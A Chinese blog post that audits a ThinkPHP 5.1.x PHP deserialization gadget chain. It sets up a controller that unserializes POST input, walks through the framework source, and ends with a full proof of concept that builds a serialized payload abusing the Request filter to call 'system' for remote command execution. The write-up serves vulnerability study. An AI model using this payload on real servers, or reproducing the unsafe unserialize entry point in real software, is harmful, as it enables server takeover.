江鸟's Blog

thinkphp5.1.X反序列化利用链审计

字数统计: 2.1k阅读时长: 9 min
2021/02/18 Share

tp审计系列第二篇ヾ(o◕∀◕)ノ

前要准备

环境

composer安装

1
composer create-project --prefer-dist topthink/think tp5137

修改入口文件application/index/controller/Index.php为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$u = unserialize(base64_decode($_POST['code']));
return 'OK';
}

public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}

知识点

同上一篇

__destruct: PHP5引入了析构方法的概念,这类似于其它面向对象的语言,如C++,析构方法会在当某个对象的所有引用都被删除或者当对象被显式销毁时执行。实际上,当PHP脚本运行结束之前,所有的变量都会被销毁,因此析构方法在类被反序列化并实例化后必然会被调用。

__toString:当一个对象被当作字符串对待的时候,会触发这个魔术方法。而当file_exists处理时,$filename被当做了字符串,因此如果$filename为类对象的话,此处可以触发该类的__toString方法。

__call($method ,$args)当调用类中不存在的方法时,则会调用__call方法,该方法接受两个参数,$method为当前调用不存在的方法名称,$args为方法中的参数,参数可能有多个,所有$args参数为数组

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

array_walk_recursive() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。该函数与 array_walk() 函数的不同在于可以操作更深的数组(一个数组中包含另一个数组)。

反序列化链构造

​ 前面部分和5.0.x的一样,都是通过thinkphp/library/think/process/pipes/Windows.php这个文件中的

image-20210218130158100

__destruct魔术方法中的removeFiles方法

查看这个函数,是用来删除临时文件的,里面有file_exists函数,可以用触发__toString魔术方法。

1
2
3
4
5
6
7
8
9
10
11
12
/**
* 删除临时文件
*/
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

如果我们将一个类赋值给 $filename 变量,那么在 file_exists($filename) 的时候,就会触发这个类的 __toString 方法。因为 file_exists 函数需要的是一个字符串类型的参数,如果传入一个对象,就会先调用该类 __toString 方法,将其转换成字符串,然后再判断。

然后我们寻找可以利用的方法,位于thinkphp/library/think/Conversion.php__toString有一个toJson()方法,跟进查看

1
2
3
4
5
6
7
8
9
10
/**
* 转换当前模型对象为JSON字符串
* @access public
* @param integer $options json参数
* @return string
*/
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

跟进toArray()查看

和5.0.x的构造一样,此时$this->append为类属性可控,则$key、​$name可控,我们需要寻找到类似​$可控对象->方法($可控参数)的调用链

image-20210218135046052

$name 很明显是可控的,由$this->append 数组的键值,$key 是$this->append 中的 键名 ,那我们现在跟进$relation 赋值的过程,看$relation 是不是可控:

1
$relation = $this->getAttr($key);

跟进getAttr函数,在\thinkphp\library\think\model\concern\Attribute.php中,位于Attribute类中。返回值为$value

1
$value    = $this->getData($name);

跟进getData函数

1
2
3
4
5
6
7
8
9
10
11
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

所以$relation 变量来自 $this->data[$name] ,而这个变量是可以控制的。第192行 的 $name 变量来自 $this->append ,也是可以控制的

所以我们可以利用__call 方法, 根据前面可控的参数,传入call的$method是visible,$args是可控的$name

thinkphp/library/think/Request.php

1
2
3
4
5
6
7
8
9
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}

throw new Exception('method not exists:' . static::class . '->' . $method);
}

这里的$hook是我们可控的

但是这里有个 array_unshift($args, $this);会把$this放到$arg数组的第一个元素这样我们是实现不了RCE的

我们来寻找不受这个参数影响的方法

在Thinkphp的Request类中还有一个功能filter功能,我们可以尝试覆盖filter的方法去执行代码。

thinkphp/library/think/Request.php第1459行

image-20210218180226156

调用了call_user_func函数,但$value参数不可控,如果能找到一个$value可控的点就好了

第1352行中存在一个input()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 public function input($data = [], $name = '', $default = null, $filter = '')
{
......

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}

......

return $data;
}

这里用了一个回调函数调用了filterValue,但参数不可控不能直接用

接着找能控的函数点,这里找到了param函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);

.....

// 当前请求参数和URL地址中的参数合并为一个数组。
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true;
}

if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);
}

这里调用了input()函数,不过参数仍然是不可控的,所以我们继续找调用param函数的地方。找到了isAjax函数

1
2
3
4
5
6
7
8
9
10
11
12
13
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {
return $result;
}

$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}

在isAjax函数中,我们可以控制$this->config['var_ajax']$this->config['var_ajax']可控就意味着param函数中的$name可控。param函数中的$name可控就意味着input函数中的$name可控。

而param函数可以获得$_GET数组并赋值给$this->param。这里$this->param完全可控,是通过get传参数进去的。

根据param函数中的这一行

1
return $this->input($this->param, $name, $default, $filter);

$this->param可控即input函数的$data可控。也就是call_user_func的$value可控,到这里整个链就集合起来了

POC构造

首先我们从入口开始,需要控制$filename,是从$this->files中来的,我们现在需要一个同时继承了Attribute类和Conversion类的子类,在\thinkphp\library\think\Model.php中找到这样一个类,所以赋值为class Model,但是这是一个抽象类,我们找到他的子类Pivot()

Windows部分的就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
namespace think\model{
use think\Model;
class Pavot extends Model
{
}
}
namespace think\process\pipes{

use think\model\Pivot;

class Windows{
private $files = [];
function __construct()
{
$this->files=[new Pivot()];
}
}
}

来看Model类,我们需要控制append以及data变量,使append变量中的键名成为传入__call的name变量

1
2
3
4
5
6
7
8
9
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["jn"=>["",""]];
$this->data = ["jn"=>new Request()];
}
}

根据前面的分析,在Request()中,我们需要的有:

控制$this->config[‘var_ajax’]

此时在input函数中的回调函数得知,filterValue.value的值为第一个通过GET请求的值input.data,而filterValue.key为GET请求的键input.name,并且filterValue.filters就等于input.filter的值。

1
2
3
4
5
6
7
8
9
10
11
12
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => 'jn',
];
function __construct(){
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}

完整poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["jn"=>["",""]];
$this->data = ["jn"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => 'jn',
];
function __construct(){
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

漏洞验证

image-20210218202902960

CATALOG
  1. 1. 前要准备
    1. 1.1. 环境
    2. 1.2. 知识点
  2. 2. 反序列化链构造
  3. 3. POC构造
    1. 3.1. 漏洞验证